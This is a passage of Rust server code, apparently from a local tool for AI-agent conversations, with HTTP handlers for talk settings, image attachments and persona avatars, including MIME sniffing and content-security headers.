8242 )? {
8243 return Err(ApiError::conflict(
8244 "queued message changed; reload it before clearing",
8245 ));
8246 }
8247 let thinking = ui.is_thinking(&talk.id);
8248 Ok(Json(TalkView::new(talk, thinking, &ui)))
8249 })
8250 .await
8251}
8252
8253async fn talk_pending_edit(
8257 State(ui): State<Arc<Ui>>,
8258 Path(id): Path<String>,
8259 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8260) -> ApiResult<Json<TalkView>> {
8261 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8262 let (view, reclaimed) = blocking({
8263 let ui = Arc::clone(&ui);
8264 move || {
8265 let id = resolve_talk(&ui.talks, &id)?;
8266 let mut talk = ui.talks.get(&id)?;
8267 if !talk.status.open() {
8268 return Err(ApiError::conflict(format!(
8269 "talk {} is {} and takes no more turns",
8270 talk.short(),
8271 talk.status.as_str()
8272 )));
8273 }
8274 if !talk::edit_pending_message(
8275 &mut talk,
8276 &ui.talks,
8277 &body.text,
8278 &body.expected_text,
8279 &body.expected_attachments,
8280 body.message,
8281 )? {
8282 return Err(ApiError::conflict(
8283 "queued message changed; reload it before editing",
8284 ));
8285 }
8286 let claim = match ui.begin_queued_talk_turn(&id)? {
8287 Some(turn_guard) => {
8288 let (cfg, _) = Config::discover(&talk.repo, None)?;
8289 Some((talk.clone(), cfg, id.clone(), turn_guard))
8290 }
8291 None => None,
8292 };
8293 let thinking = ui.is_thinking(&id);
8294 Ok((TalkView::new(talk, thinking, &ui), claim))
8295 }
8296 })
8297 .await?;
8298 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8299 let talks = ui.talks.clone();
8300 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8301 }
8302 Ok(Json(view))
8303}
8304
8305fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8307 if talk.status.open() {
8308 return Ok(());
8309 }
8310 Err(ApiError::conflict(format!(
8311 "talk {} is {} and takes no more turns",
8312 talk.short(),
8313 talk.status.as_str()
8314 )))
8315}
8316
8317#[derive(Debug, Deserialize)]
8319struct TalkAgent {
8320 agent: String,
8321}
8322
8323async fn talk_agent(
8328 State(ui): State<Arc<Ui>>,
8329 Path(id): Path<String>,
8330 Json(body): Json<TalkAgent>,
8331) -> ApiResult<Json<TalkView>> {
8332 let id = {
8333 let ui = Arc::clone(&ui);
8334 blocking(move || resolve_talk(&ui.talks, &id)).await?
8335 };
8336 let repo = {
8337 let ui = Arc::clone(&ui);
8338 let id = id.clone();
8339 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8340 };
8341 let cfg = config_for(&repo).await?;
8342 {
8344 let ui = Arc::clone(&ui);
8345 let id = id.clone();
8346 let cfg = cfg.clone();
8347 let wanted = body.agent.clone();
8348 blocking(move || {
8349 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8350 .map_err(ApiError::bad_request_from)?;
8351 refuse_if_closed(&ui.talks.get(&id)?)
8352 })
8353 .await?;
8354 }
8355 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8356 return Err(ApiError::conflict(
8357 "a talk turn is running; change the agent once it has answered",
8358 ));
8359 };
8360 let switched = {
8361 let ui = Arc::clone(&ui);
8362 let id = id.clone();
8363 let cfg = cfg.clone();
8364 blocking(move || {
8365 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8366 .map_err(ApiError::bad_request_from)?;
8367 let mut talk = ui.talks.get(&id)?;
8368 if !talk.status.open() {
8369 return Err(ApiError::conflict(format!(
8370 "talk {} is {} and takes no more turns",
8371 talk.short(),
8372 talk.status.as_str()
8373 )));
8374 }
8375 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8376 Ok(talk)
8377 })
8378 .await
8379 };
8380 let observed = ui.queued_generation(&id);
8385 let fresh = {
8386 let ui = Arc::clone(&ui);
8387 let id = id.clone();
8388 blocking(move || Ok(ui.talks.get(&id)?)).await
8389 };
8390 let draining = match fresh {
8391 Ok(talk) => {
8392 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8393 }
8394 Err(_) => false,
8395 };
8396 let talk = switched?;
8397 Ok(Json(TalkView::new(talk, draining, &ui)))
8398}
8399
8400#[derive(Debug, Deserialize)]
8402struct TalkPersona {
8403 persona: String,
8404}
8405
8406async fn talk_persona(
8410 State(ui): State<Arc<Ui>>,
8411 Path(id): Path<String>,
8412 Json(body): Json<TalkPersona>,
8413) -> ApiResult<Json<TalkView>> {
8414 let id = {
8415 let ui = Arc::clone(&ui);
8416 blocking(move || resolve_talk(&ui.talks, &id)).await?
8417 };
8418 let repo = {
8419 let ui = Arc::clone(&ui);
8420 let id = id.clone();
8421 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8422 };
8423 let cfg = config_for(&repo).await?;
8424 {
8426 let ui = Arc::clone(&ui);
8427 let id = id.clone();
8428 let cfg = cfg.clone();
8429 let wanted = body.persona.clone();
8430 blocking(move || {
8431 if persona::find(&cfg.talk.personas, &wanted).is_none() {
8432 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8433 }
8434 refuse_if_closed(&ui.talks.get(&id)?)
8435 })
8436 .await?;
8437 }
8438 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8439 return Err(ApiError::conflict(
8440 "a talk turn is running; change the persona once it has answered",
8441 ));
8442 };
8443 let switched = {
8444 let ui = Arc::clone(&ui);
8445 let id = id.clone();
8446 let cfg = cfg.clone();
8447 blocking(move || {
8448 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8449 return Err(ApiError::bad_request(format!(
8450 "unknown persona `{}`",
8451 body.persona
8452 )));
8453 };
8454 let mut talk = ui.talks.get(&id)?;
8455 if !talk.status.open() {
8456 return Err(ApiError::conflict(format!(
8457 "talk {} is {} and takes no more turns",
8458 talk.short(),
8459 talk.status.as_str()
8460 )));
8461 }
8462 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8463 Ok(talk)
8464 })
8465 .await
8466 };
8467 let observed = ui.queued_generation(&id);
8469 let fresh = {
8470 let ui = Arc::clone(&ui);
8471 let id = id.clone();
8472 blocking(move || Ok(ui.talks.get(&id)?)).await
8473 };
8474 let draining = match fresh {
8475 Ok(talk) => {
8476 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8477 }
8478 Err(_) => false,
8479 };
8480 let talk = switched?;
8481 Ok(Json(TalkView::new(talk, draining, &ui)))
8482}
8483
8484#[derive(Debug, Deserialize)]
8486struct TalkImplementers {
8487 implementers: u8,
8488}
8489
8490async fn talk_implementers(
8494 State(ui): State<Arc<Ui>>,
8495 Path(id): Path<String>,
8496 Json(body): Json<TalkImplementers>,
8497) -> ApiResult<Json<TalkView>> {
8498 let id = {
8499 let ui = Arc::clone(&ui);
8500 blocking(move || resolve_talk(&ui.talks, &id)).await?
8501 };
8502 let repo = {
8503 let ui = Arc::clone(&ui);
8504 let id = id.clone();
8505 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8506 };
8507 let cfg = config_for(&repo).await?;
8508 {
8513 let ui = Arc::clone(&ui);
8514 let id = id.clone();
8515 let cfg = cfg.clone();
8516 let wanted = body.implementers;
8517 blocking(move || {
8518 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8519 refuse_if_closed(&ui.talks.get(&id)?)
8520 })
8521 .await?;
8522 }
8523 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8524 return Err(ApiError::conflict(
8525 "a talk turn is running; change the implementers once it has answered",
8526 ));
8527 };
8528 let switched = {
8529 let ui = Arc::clone(&ui);
8530 let id = id.clone();
8531 let cfg = cfg.clone();
8532 blocking(move || {
8533 let chosen =
8534 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8535 let mut talk = ui.talks.get(&id)?;
8536 if !talk.status.open() {
8537 return Err(ApiError::conflict(format!(
8538 "talk {} is {} and takes no more turns",
8539 talk.short(),
8540 talk.status.as_str()
8541 )));
8542 }
8543 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8544 Ok(talk)
8545 })
8546 .await
8547 };
8548 let observed = ui.queued_generation(&id);
8550 let fresh = {
8551 let ui = Arc::clone(&ui);
8552 let id = id.clone();
8553 blocking(move || Ok(ui.talks.get(&id)?)).await
8554 };
8555 let draining = match fresh {
8556 Ok(talk) => {
8557 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8558 }
8559 Err(_) => false,
8560 };
8561 let talk = switched?;
8562 Ok(Json(TalkView::new(talk, draining, &ui)))
8563}
8564
8565async fn talk_close(
8567 State(ui): State<Arc<Ui>>,
8568 Path(id): Path<String>,
8569) -> ApiResult<Json<TalkView>> {
8570 blocking(move || {
8571 let id = resolve_talk(&ui.talks, &id)?;
8572 let mut talk = ui.talks.get(&id)?;
8573 talk::close(&mut talk, &ui.talks)?;
8574 let thinking = ui.is_thinking(&talk.id);
8575 Ok(Json(TalkView::new(talk, thinking, &ui)))
8576 })
8577 .await
8578}
8579
8580async fn talk_reopen(
8582 State(ui): State<Arc<Ui>>,
8583 Path(id): Path<String>,
8584) -> ApiResult<Json<TalkView>> {
8585 blocking(move || {
8586 let id = resolve_talk(&ui.talks, &id)?;
8587 let mut talk = ui.talks.get(&id)?;
8588 talk::reopen(&mut talk, &ui.talks)?;
8589 let thinking = ui.is_thinking(&talk.id);
8590 Ok(Json(TalkView::new(talk, thinking, &ui)))
8591 })
8592 .await
8593}
8594
8595async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8605 blocking(move || {
8606 let id = resolve_talk(&ui.talks, &id)?;
8607 ui.talks.remove(&id)?;
8608 Ok(StatusCode::NO_CONTENT)
8609 })
8610 .await
8611}
8612
8613fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8615 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8616}
8617
8618async fn talk_attachment_post(
8621 State(ui): State<Arc<Ui>>,
8622 Path(id): Path<String>,
8623 headers: HeaderMap,
8624 body: Bytes,
8625) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8626 let mime = validate_attachment(&headers, &body)?;
8627 let name = filename_header(&headers);
8628 let data = body.to_vec();
8629 blocking(move || {
8630 let id = resolve_talk(&ui.talks, &id)?;
8631 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8632 Ok((StatusCode::CREATED, Json(att)))
8633 })
8634 .await
8635}
8636
8637async fn talk_attachment_get(
8640 State(ui): State<Arc<Ui>>,
8641 Path((id, att)): Path<(String, String)>,
8642) -> ApiResult<Response> {
8643 blocking(move || {
8644 let id = resolve_talk(&ui.talks, &id)?;
8645 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8646 return Err(ApiError::not_found(format!(
8647 "talk {id} has no attachment `{att}`"
8648 )));
8649 };
8650 Ok(attachment_response(&meta.mime, data))
8651 })
8652 .await
8653}
8654
8655fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
8658 let id = avatar_encode(&p.id);
8659 format!(
8660 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8661 persona_icon::fingerprint(
8662 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
8663 )
8664 )
8665}
8666
8667#[derive(Debug, Default, Deserialize)]
8668struct AvatarQuery {
8669 persona: Option<String>,
8670 builtin: Option<String>,
8672}
8673
8674const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8676
8677fn builtin_avatar(id: &str) -> Response {
8678 svg_avatar(persona_icon::builtin_svg(id))
8679}
8680
8681async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8682 raster_or_builtin(
8683 read_icon_file(&avatar_setting_path(&ui.home, None))
8684 .filter(|_| q.builtin.is_none())
8685 .as_deref(),
8686 persona_icon::operator_svg(),
8687 )
8688}
8689
8690fn svg_avatar(svg: &'static str) -> Response {
8691 (
8692 [
8693 (header::CONTENT_TYPE, "image/svg+xml"),
8694 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8695 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8696 (header::CACHE_CONTROL, "no-cache"),
8697 ],
8698 svg,
8699 )
8700 .into_response()
8701}
8702
8703fn avatar_encode(value: &str) -> String {
8704 value
8705 .bytes()
8706 .map(|b| {
8707 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8708 char::from(b).to_string()
8709 } else {
8710 format!("%{b:02X}")
8711 }
8712 })
8713 .collect()
8714}
8715
8716fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
8718 let Some(id) = persona else {
8719 return home.join("avatars/operator.data");
8720 };
8721 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
8722 let mut path = home.join("avatars/personas");
8723 for chunk in encoded.as_bytes().chunks(100) {
8724 path.push(std::str::from_utf8(chunk).expect("hex"));
8725 }
8726 path.join("icon.data")
8727}
8728
8729fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
8730 match read_icon_file(&avatar_setting_path(home, Some(id))) {
8731 Some(value) if value == "builtin" => Some(String::new()),
8732 Some(value) => Some(value),
8733 None => configured.map(str::to_owned),
8734 }
8735}
8736
8737fn operator_icon_url(home: &FsPath) -> String {
8738 format!(
8739 "/avatars/operator.svg?v={}",
8740 persona_icon::fingerprint(
8741 read_icon_file(&avatar_setting_path(home, None))
8742 .as_deref()
8743 .or(Some(persona_icon::operator_svg()))
8744 )
8745 )
8746}
8747
8748fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
8749 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
8750 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8751 attachment_response(mime, bytes)
8752 }
8753 _ => svg_avatar(builtin),
8754 };
8755 response
8756 .headers_mut()
8757 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8758 response
8759}
8760
8761#[derive(Default, Deserialize)]
8762struct AvatarSettingsQuery {
8763 repo: Option<PathBuf>,
8764 persona: Option<String>,
8765 builtin: Option<String>,
8766 inherit: Option<String>,
8767}
8768
8769fn avatar_settings_specs(
8770 ui: &Ui,
8771 repo: Option<PathBuf>,
8772) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
8773 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
8774 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
8775 .map(|cfg| cfg.talk.personas)
8776 .unwrap_or_default();
8777 Ok((repo, specs))
8778}
8779
8780fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
8781 let Ok(entries) = std::fs::read_dir(path) else {
8782 return;
8783 };
8784 for entry in entries.flatten() {
8785 let name = entry.file_name().to_string_lossy().into_owned();
8786 if name == "icon.data" {
8787 let bytes: Option<Vec<u8>> = prefix
8788 .as_bytes()
8789 .chunks(2)
8790 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
8791 .collect();
8792 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
8793 out.push(id);
8794 }
8795 } else if name.len() <= 100
8796 && !name.is_empty()
8797 && name.bytes().all(|b| b.is_ascii_hexdigit())
8798 && entry.file_type().is_ok_and(|t| t.is_dir())
8799 {
8800 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
8801 }
8802 }
8803}
8804
8805async fn avatar_settings_get(
8806 State(ui): State<Arc<Ui>>,
8807 Query(q): Query<AvatarSettingsQuery>,
8808) -> ApiResult<Json<serde_json::Value>> {
8809 blocking(move || {
8810 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
8811 let mut catalog = persona::catalog(&specs);
8812 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
8813 let mut saved = Vec::new();
8814 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
8815 for id in saved {
8816 if !catalog.iter().any(|p| p.id == id) {
8817 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
8818 }
8819 }
8820 let personas: Vec<_> = catalog.iter().map(|p| {
8821 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
8822 let override_state = match saved.as_deref() {
8823 Some("builtin") => "builtin",
8824 Some(_) => "custom",
8825 None => "inherit",
8826 };
8827 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
8828 serde_json::json!({"id":p.id,"name":p.name,
8829 "override_state":override_state,"has_config_icon":p.icon.is_some(),
8830 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
8831 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
8832 }).collect();
8833 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
8834 }).await
8835}
8836
8837async fn settings_persona_avatar(
8838 State(ui): State<Arc<Ui>>,
8839 Query(q): Query<AvatarSettingsQuery>,
8840) -> ApiResult<Response> {
8841 blocking(move || {
8842 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
8843 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
8844 let found = persona::find(&specs, id);
8845 let icon =
8846 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
8847 Ok(raster_or_builtin(
8848 icon.as_deref().filter(|_| q.builtin.is_none()),
8849 persona_icon::builtin_svg(id),
8850 ))
8851 })
8852 .await
8853}
8854
8855fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
8856 if q.persona
8857 .as_ref()
8858 .is_some_and(|p| p.is_empty() || p.len() > 4096)
8859 {
8860 return Err(ApiError::bad_request("invalid persona id"));
8861 }
8862 Ok(())
8863}
8864
8865async fn avatar_settings_put(
8866 State(ui): State<Arc<Ui>>,
8867 Query(q): Query<AvatarSettingsQuery>,
8868 Json(upload): Json<MagiIconUpload>,
8869) -> ApiResult<Json<serde_json::Value>> {
8870 blocking(move || {
8871 validate_avatar_target(&q)?;
8872 save_icon_file(
8873 &avatar_setting_path(&ui.home, q.persona.as_deref()),
8874 &upload.icon,
8875 )
8876 .map_err(ApiError::bad_request_from)?;
8877 Ok(Json(serde_json::json!({"saved":true})))
8878 })
8879 .await
8880}
8881
8882async fn avatar_settings_delete(
8883 State(ui): State<Arc<Ui>>,
8884 Query(q): Query<AvatarSettingsQuery>,
8885) -> ApiResult<Json<serde_json::Value>> {
8886 blocking(move || {
8887 validate_avatar_target(&q)?;
8888 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
8889 if q.persona.is_some() && q.inherit.is_none() {
8890 atomic_icon_write(&path, "builtin")?;
8891 } else {
8892 match std::fs::remove_file(path) {
8893 Ok(()) => (),
8894 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8895 Err(e) => return Err(anyhow::Error::from(e).into()),
8896 }
8897 }
8898 Ok(Json(serde_json::json!({"saved":true})))
8899 })
8900 .await
8901}
8902
8903fn magi_icon_path(home: &FsPath) -> PathBuf {
8905 home.join("magi-icon.data")
8906}
8907
8908fn read_magi_icon(home: &FsPath) -> Option<String> {
8909 read_icon_file(&magi_icon_path(home))
8910}
8911
8912fn read_icon_file(path: &FsPath) -> Option<String> {
8913 let metadata = std::fs::metadata(path).ok()?;
8914 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8915 return None;
8916 }
8917 let file = std::fs::File::open(path).ok()?;
8918 use std::io::Read;
8919 let mut text = String::new();
8920 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8921 .read_to_string(&mut text)
8922 .ok()?;
8923 if text.len() > persona_icon::ICON_MAX_BYTES {
8924 return None;
8925 }
8926 if text == "builtin" {
8927 return Some(text);
8928 }
8929 validate_uploaded_icon(&text).ok()?;
8930 Some(text)
8931}
8932
8933fn magi_icon_url(home: &FsPath) -> String {
8934 format!(
8935 "/avatars/magi?v={}",
8936 persona_icon::fingerprint(read_magi_icon(home).as_deref())
8937 )
8938}
8939
8940async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8941 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8942}
8943
8944#[derive(Deserialize)]
8945struct MagiIconUpload {
8946 icon: String,
8947}
8948
8949fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8950 save_icon_file(&magi_icon_path(home), icon)
8951}
8952
8953fn validate_uploaded_icon(icon: &str) -> Result<()> {
8954 if !icon.starts_with("data:") {
8955 anyhow::bail!("upload a raster image");
8956 }
8957 let (mime, bytes) = persona_icon::load(icon)?;
8958 if sniffed_mime(&bytes) != Some(mime) {
8959 anyhow::bail!("image content does not match its type");
8960 }
8961 Ok(())
8962}
8963
8964fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
8965 validate_uploaded_icon(icon)?;
8966 atomic_icon_write(path, icon)
8967}
8968
8969fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
8970 let home = path.parent().expect("icon parent");
8971 std::fs::create_dir_all(home)?;
8972 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8973 let temp = home.join(format!(".magi-icon-{token}.tmp"));
8974 let result = (|| -> Result<()> {
8975 use std::io::Write;
8976 let mut file = std::fs::OpenOptions::new()
8977 .write(true)
8978 .create_new(true)
8979 .open(&temp)?;
8980 file.write_all(icon.as_bytes())?;
8981 file.sync_all()?;
8982 std::fs::rename(&temp, path)?;
8983 Ok(())
8984 })();
8985 let _ = std::fs::remove_file(temp);
8986 result?;
8987 Ok(())
8988}
8989
8990async fn magi_icon_put(
8991 State(ui): State<Arc<Ui>>,
8992 Json(upload): Json<MagiIconUpload>,
8993) -> ApiResult<Json<serde_json::Value>> {
8994 blocking(move || {
8995 if !upload.icon.starts_with("data:") {
8996 return Err(ApiError::bad_request("upload a raster image"));
8997 }
8998 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8999 if sniffed_mime(&bytes) != Some(mime) {
9000 return Err(ApiError::bad_request(
9001 "image content does not match its type",
9002 ));
9003 }
9004 save_magi_icon(&ui.home, &upload.icon)?;
9005 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9006 })
9007 .await
9008}
9009
9010async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9011 blocking(move || {
9012 match std::fs::remove_file(magi_icon_path(&ui.home)) {
9013 Ok(()) => (),
9014 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9015 Err(e) => return Err(anyhow::Error::from(e).into()),
9016 }
9017 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9018 })
9019 .await
9020}
9021
9022async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9023 let icon = (q.builtin.is_none())
9024 .then(|| read_magi_icon(&ui.home))
9025 .flatten();
9026 let mut response = match icon
9027 .as_deref()
9028 .and_then(|icon| persona_icon::load(icon).ok())
9029 {
9030 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9031 attachment_response(mime, bytes)
9032 }
9033 _ => svg_avatar(persona_icon::magi_svg()),
9034 };
9035 response
9036 .headers_mut()
9037 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9038 response
9039}
9040
9041async fn talk_avatar(
9046 State(ui): State<Arc<Ui>>,
9047 Path(id): Path<String>,
9048 Query(q): Query<AvatarQuery>,
9049) -> ApiResult<Response> {
9050 blocking(move || {
9051 let id = resolve_talk(&ui.talks, &id)?;
9052 let talk = ui.talks.get(&id)?;
9053 let wanted = q
9054 .persona
9055 .as_deref()
9056 .map(str::trim)
9057 .filter(|p| !p.is_empty())
9058 .unwrap_or(&talk.persona)
9059 .to_owned();
9060 let specs = match Config::discover(&talk.repo, None) {
9061 Ok((cfg, _)) => cfg.talk.personas,
9062 Err(e) => {
9063 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9064 Vec::new()
9065 }
9066 };
9067 let found = persona::find(&specs, &wanted);
9068 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9070 let icon = effective_persona_icon(
9071 &ui.home,
9072 &wanted,
9073 found.as_ref().and_then(|p| p.icon.as_deref()),
9074 );
9075 if found.is_none() && icon.is_none() {
9076 return Ok(builtin_avatar(persona::DEFAULT_ID));
9077 }
9078 let Some(icon) = icon
9079 .as_deref()
9080 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9081 else {
9082 return Ok(builtin_avatar(&wanted));
9083 };
9084 let Some(found) = found else {
9085 return Ok(raster_or_builtin(
9086 Some(icon),
9087 persona_icon::builtin_svg(&wanted),
9088 ));
9089 };
9090 match persona_icon::load(icon) {
9091 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9092 let mut res = attachment_response(mime, bytes);
9093 res.headers_mut().insert(
9094 header::CACHE_CONTROL,
9095 header::HeaderValue::from_static("no-cache"),
9096 );
9097 Ok(res)
9098 }
9099 Ok((mime, _)) => {
9100 tracing::warn!(
9101 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9102 found.id
9103 );
9104 Ok(builtin_avatar(&found.id))
9105 }
9106 Err(e) => {
9107 tracing::warn!(
9108 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9109 found.id
9110 );
9111 Ok(builtin_avatar(&found.id))
9112 }
9113 }
9114 })
9115 .await
9116}
9117
9118fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9129 if data.len() > ATTACHMENT_MAX_BYTES {
9130 return Err(ApiError::bad_request(format!(
9131 "attachment is {} bytes, over the {} MiB limit",
9132 data.len(),
9133 ATTACHMENT_MAX_BYTES / (1024 * 1024)
9134 ))
9135 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9136 }
9137 if data.is_empty() {
9138 return Err(ApiError::bad_request("attachment is empty"));
9139 }
9140 let declared = declared_mime(headers)?;
9141 match sniffed_mime(data) {
9142 Some(sniffed) if sniffed == declared => Ok(declared),
9143 Some(sniffed) => Err(ApiError::bad_request(format!(
9144 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9145 ))),
9146 None => Err(ApiError::bad_request(
9147 "the file's bytes do not match any accepted image format",
9148 )),
9149 }
9150}
9151
9152fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9156 let raw = headers
9157 .get(header::CONTENT_TYPE)
9158 .and_then(|v| v.to_str().ok())
9159 .unwrap_or("")
9160 .split(';')
9161 .next()
9162 .unwrap_or("")
9163 .trim()
9164 .to_ascii_lowercase();
9165 ATTACHMENT_MIME_WHITELIST
9166 .iter()
9167 .find(|&&m| m == raw)
9168 .copied()
9169 .ok_or_else(|| {
9170 if raw == "image/svg+xml" {
9171 ApiError::bad_request(
9172 "SVG is not accepted: it can carry active content (e.g. a <script>), \
9173 not just a picture",
9174 )
9175 } else if raw.is_empty() {
9176 ApiError::bad_request("Content-Type is required for an attachment upload")
9177 } else {
9178 ApiError::bad_request(format!(
9179 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9180 image/gif or image/webp"
9181 ))
9182 }
9183 })
9184}
9185
9186fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
9189 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
9190 Some("image/png")
9191 } else if data.starts_with(b"\xff\xd8\xff") {
9192 Some("image/jpeg")
9193 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
9194 Some("image/gif")
9195 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
9196 Some("image/webp")
9197 } else {
9198 None
9199 }
9200}
9201
9202fn filename_header(headers: &HeaderMap) -> String {
9208 headers
9209 .get(FILENAME_HEADER)
9210 .and_then(|v| v.to_str().ok())
9211 .map(str::trim)
9212 .filter(|s| !s.is_empty())
9213 .unwrap_or("attachment")
9214 .to_owned()
9215}
9216
9217fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
9224 let content_type = ATTACHMENT_MIME_WHITELIST
9225 .iter()
9226 .find(|&&m| m == mime)
9227 .copied()
9228 .unwrap_or("application/octet-stream");
9229 (
9230 [
9231 (header::CONTENT_TYPE, content_type),
9232 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9233 ],
9234 body,
9235 )
9236 .into_response()
9237}
9238
9239async fn config_for(repo: &FsPath) -> ApiResult<Config> {
9247 let repo = repo.to_path_buf();
9248 blocking(move || {
9249 let (cfg, _) = Config::discover(&repo, None)?;
9250 Ok(cfg)
9251 })
9252 .await
9253}
9254
9255fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
9261 let mut hits = ids
9262 .into_iter()
9263 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
9264 match (hits.next(), hits.next()) {
9265 (Some(one), None) => Ok(one),
9266 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
9267 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
9268 "`{prefix}` matches more than one {what}, including {a} and {b}"
9269 ))),
9270 }
9271}
9272
9273#[cfg(test)]
9274mod tests {
9275
9276 #[test]
9277 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
9278 let dir = tempfile::tempdir().unwrap();
9279 let store = ask::Questions::at(dir.path().join("questions"));
9280 let mut q = Question::new(
9281 "task".to_owned(),
9282 "conduct".to_owned(),
9283 "conduct".to_owned(),
9284 "choose".to_owned(),
9285 String::new(),
9286 vec!["keep".to_owned()],
9287 );
